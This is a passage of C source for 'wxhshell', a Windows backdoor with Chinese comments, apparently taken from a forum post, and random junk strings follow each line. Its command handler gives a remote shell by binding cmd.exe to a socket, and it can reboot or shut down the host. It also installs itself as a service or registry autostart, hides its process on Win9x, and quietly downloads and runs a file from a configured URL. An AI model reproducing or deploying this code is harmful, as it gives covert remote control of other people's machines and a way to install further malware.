  // 帮助 czu9a"M>X  
  case '?': { SpU|Q1Q/h  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :Z2997@Y  
    break; lN:;~;z_  
  } 3Og}_  
  // 安装 ;n*|AL7(  
  case 'i': { sF[gjeIb  
    if(Install()) ?<W|Ya  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !vJ$$o6#  
    else <bo)p6S&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v6=%KXSF  
    break; PMbZv%.,-  
    } oOvQA W8`  
  // 卸载 un~`|   
  case 'r': { u*I'c2m  
    if(Uninstall()) Q8h0.(#-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R-NM ~gp  
    else &k_*Y- l7]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); umq6X8K  
    break; T* 0;3&sA  
    } f -F}~S  
  // 显示 wxhshell 所在路径 b/R7 Mk1  
  case 'p': { {'wvb "b  
    char svExeFile[MAX_PATH]; =fnBE`Uc  
    strcpy(svExeFile,"\n\r"); n YUFRV$  
      strcat(svExeFile,ExeFile); aN0 7\  
        send(wsh,svExeFile,strlen(svExeFile),0); >2pxl(i  
    break; -2[4 @  
    } BgT ^  
  // 重启 et)n`NlcK  
  case 'b': { TB.>?*<n]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); - QY<o|  
    if(Boot(REBOOT)) W]7<PL*u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i\/'w]  
    else { 3~3tjhw;]9  
    closesocket(wsh); NNqvjM-  
    ExitThread(0); k,=<G ,  
    } ]N'% l]_$  
    break; m3pDFI  
    } Lhux~,EH  
  // 关机 j|Vl\Z&o)  
  case 'd': { Xy K,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kw2yb   
    if(Boot(SHUTDOWN)) M$@~|pQ<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9m2FH~  
    else { w*/@|r39  
    closesocket(wsh); =gR/ t@Ld  
    ExitThread(0); inO;Uwlv  
    } U*Y]cohh  
    break; 2/V%jS[4#y  
    } |T/OOIA=sI  
  // 获取shell a5 ZXrWv  
  case 's': { ?uL-qsU  
    CmdShell(wsh); H.;}%id  
    closesocket(wsh); 3ddw'b'aQ  
    ExitThread(0); Wj|W B*B  
    break; g3[-[G^5  
  } O9By5j 4  
  // 退出 VPT?z  
  case 'x': { wS9V@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rYdNn0mh k  
    CloseIt(wsh); j][&o-Ev  
    break; XPMUhozV  
    } \C>IVz<O  
  // 离开 ;K8}Yq9p9  
  case 'q': { rm3/R<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); J Hm Pa  
    closesocket(wsh); $},XRo&R  
    WSACleanup(); }`QZV_  
    exit(1); KyVzf(^  
    break; BRY/[QRqZ  
        } -o"b$[sf=Z  
  } F::Ki4{jJ  
  } rL"]m_FK  
2%R.~9HtA  
  // 提示信息 +<p&V a#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6AY( /N8V  
} L7(FD v,?  
  } e/+.^ '{  
GU/P%c/V  
  return; *@#Gc%mGu  
} N]iarYc  
Q) aZ0 Pt  
// shell模块句柄 ,|VLOY ^  
int CmdShell(SOCKET sock) EU:N9oT  
{ ub>:dNBN  
STARTUPINFO si; >/4[OPB0R  
ZeroMemory(&si,sizeof(si)); #V/{DPz  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 52o^]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .EHq.cde  
PROCESS_INFORMATION ProcessInfo; FT6CKsM"  
char cmdline[]="cmd"; b~tu;:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qfCZ [D  
  return 0; '9.@r\g  
} M"s:*c_6  
!^MwE]  
// 自身启动模式 ue7D' UZL>  
int StartFromService(void) n]4Elrxx  
{ (#>X*~6  
typedef struct Fyw X  
{ u5rvrn ]  
  DWORD ExitStatus; DN=W2MEfc  
  DWORD PebBaseAddress; =kwz3Wv  
  DWORD AffinityMask; l(Hz9  
  DWORD BasePriority; :qj^RcmVPL  
  ULONG UniqueProcessId; ydOG8EI  
  ULONG InheritedFromUniqueProcessId; Oj%5FUP~[%  
}   PROCESS_BASIC_INFORMATION; jGkDD8K [  
x5PM ]~"p  
PROCNTQSIP NtQueryInformationProcess; s92ol0`  
 9Ca0Tu  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @UdF6 :T  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; tpA-IL?KQw  
AHuIA{AdUR  
  HANDLE             hProcess; [+b8 !'|&  
  PROCESS_BASIC_INFORMATION pbi; #0h}{y E  
a)r["*bTx  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A*+gWn,4Y_  
  if(NULL == hInst ) return 0; [6g$;SicT  
4Lk<5Ho  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Dl0{pGK~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z~94<*LEp  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fNx!'{o"  
;?iu@h  
  if (!NtQueryInformationProcess) return 0; @ls/3`E/5E  
fATVAv  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); nJv=kk1|o  
  if(!hProcess) return 0; T<Y*();Zo  
2<8l&2}7]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s1[.L~;J  
rt*>)GI]b  
  CloseHandle(hProcess); 5o4KV?"  
b1'849i'y=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K>~YO~~  
if(hProcess==NULL) return 0; GL9'dL|  
d#d&CJAfr  
HMODULE hMod; t%^&b'/Z  
char procName[255]; NA0Z~Ug>  
unsigned long cbNeeded; DEkv,e  
havmhS)O  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G{X7;j e  
C]JK'K<7-  
  CloseHandle(hProcess); Zz:%KUl3  
7y30TU  
if(strstr(procName,"services")) return 1; // 以服务启动 5/ U{b5  
[8Z#HjhQ  
  return 0; // 注册表启动 ;m.6 ~A  
} eTgtt-;VR  
9:xs)t- _  
// 主模块 z8kebS&5  
int StartWxhshell(LPSTR lpCmdLine) V,& OO  
{ cg]Gt1SU  
  SOCKET wsl; Qp:m=f6@  
BOOL val=TRUE; / s Apj  
  int port=0; \@h$|nb  
  struct sockaddr_in door; fXnewPr=#  
*a|575e< z  
  if(wscfg.ws_autoins) Install(); se>\5k  
pd,d"+  
port=atoi(lpCmdLine); +]wM$bP  
=Sr<d|\O  
if(port<=0) port=wscfg.ws_port; ] FvGAG.*  
"B +F6  
  WSADATA data; /!>OWh*~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4IY|<  
]3 GO_tL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?9eiT:2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /4 Kd  
  door.sin_family = AF_INET; tD#)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #Q=c.AL{  
  door.sin_port = htons(port); Qof%j@  
L|(U%$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bxO/FrwTj{  
closesocket(wsl); hCgk78O?  
return 1; H*N{4zBB  
} as/PM"  
Y%TY%"<  
  if(listen(wsl,2) == INVALID_SOCKET) { @aFk|.6  
closesocket(wsl); hD?6RVfG  
return 1; rk;]7Wu  
} .X.6<@$  
  Wxhshell(wsl); {gu3KV  
  WSACleanup(); EAWBgOO8iC  
G9j f]Ye;  
return 0; )'7Qd(4WT  
?A.ah  
} "8?Fl&=Q  
Dz2Z (EXI~  
// 以NT服务方式启动 }Cfl|t<5f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Pq{p\Qkj  
{ S{MB$JA  
DWORD   status = 0; U %BtBPL  
  DWORD   specificError = 0xfffffff; E|RC|Sz=u  
%Q}(.h%M  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ld|GY>rH  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6,~ 1^g*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7l*vmF6Z  
  serviceStatus.dwWin32ExitCode     = 0; a\,V>}e  
  serviceStatus.dwServiceSpecificExitCode = 0; NZ8X@|N  
  serviceStatus.dwCheckPoint       = 0; L"S2+F)n  
  serviceStatus.dwWaitHint       = 0; Tz9 (</y  
pJl/d;Cyrb  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  Q3bU"f  
  if (hServiceStatusHandle==0) return; WL,2<[)Ew  
c 8Q2H  
status = GetLastError(); ]b1>bv%  
  if (status!=NO_ERROR) N|"kuRN#  
{ jyyig%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b9T6JS j  
    serviceStatus.dwCheckPoint       = 0; DYIp2-K  
    serviceStatus.dwWaitHint       = 0; hz<TjWXv'  
    serviceStatus.dwWin32ExitCode     = status; : #n>Q1}x  
    serviceStatus.dwServiceSpecificExitCode = specificError; Tw*p^rU  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *$;Zk!sEF  
    return; %2\Pe 2Z  
  } {(Mmv[y  
`Z{s,!z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; z_KCG2=5  
  serviceStatus.dwCheckPoint       = 0; DMp@B]>  
  serviceStatus.dwWaitHint       = 0; \4<|QE  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); rp1+K4]P  
} >X iT[Ru  
2w+4B4  
// 处理NT服务事件,比如:启动、停止 ?-9uf\2_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) R/E6n &R  
{ #CyqiOM\*  
switch(fdwControl) }F9#3W&`c  
{ lMg#zT!?  
case SERVICE_CONTROL_STOP: $txF|Fj]^A  
  serviceStatus.dwWin32ExitCode = 0; uz$p'Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^k^?>h  
  serviceStatus.dwCheckPoint   = 0; EDnZ/)6Gg  
  serviceStatus.dwWaitHint     = 0; fF#Fc&B  
  { ;GOu'34j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [C;Neslo  
  } IBu\Sh-  
  return; Pn@DHYP  
case SERVICE_CONTROL_PAUSE: cmCD}Skk  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; SG0PQ  
  break; t7V7TL!5'  
case SERVICE_CONTROL_CONTINUE: /S~ =qodS  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; kv?DE4=;  
  break; a{JO8<dlm  
case SERVICE_CONTROL_INTERROGATE: RDy&i  
  break; ;9ChBA  
}; >YF=6zq.`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8uW%jG3/  
} W*(- * \1[  
9OY ao  
// 标准应用程序主函数 SwO$UqYU=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 61gyx6v  
{ DYgB_Iak  
uT<<G)v)  
// 获取操作系统版本 iG~&uEAJ  
OsIsNt=GetOsVer(); OqF8KJnO;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); nr}Ols  
YvP62c \  
  // 从命令行安装 9~a5R]x2  
  if(strpbrk(lpCmdLine,"iI")) Install(); I=P<RG7j)  
&u6n5-!v  
  // 下载执行文件 =i;T?*@  
if(wscfg.ws_downexe) { OpIeo+^X*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w2('75$J  
  WinExec(wscfg.ws_filenam,SW_HIDE); CM[83>  
} 4"!kCUB  
B J I N  
if(!OsIsNt) { C"s-ttP   
// 如果时win9x,隐藏进程并且设置为注册表启动 EymSrZw  
HideProc(); #O8=M(- V  
StartWxhshell(lpCmdLine); z> DQ  
} Y}Y~?kE>M|  
else !su773vo  
  if(StartFromService()) =i Dd{$  
  // 以服务方式启动 Bx$?*y&f!v  
  StartServiceCtrlDispatcher(DispatchTable); UM]3MS:[  
else TGPZUyi3!=  
  // 普通方式启动 ocUBSK|K)  
  StartWxhshell(lpCmdLine); D~M R)z_p~  
T:|p[Xbo  
return 0; KQw>6)  
}
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只看该作者 1 发表于: 2006-10-10
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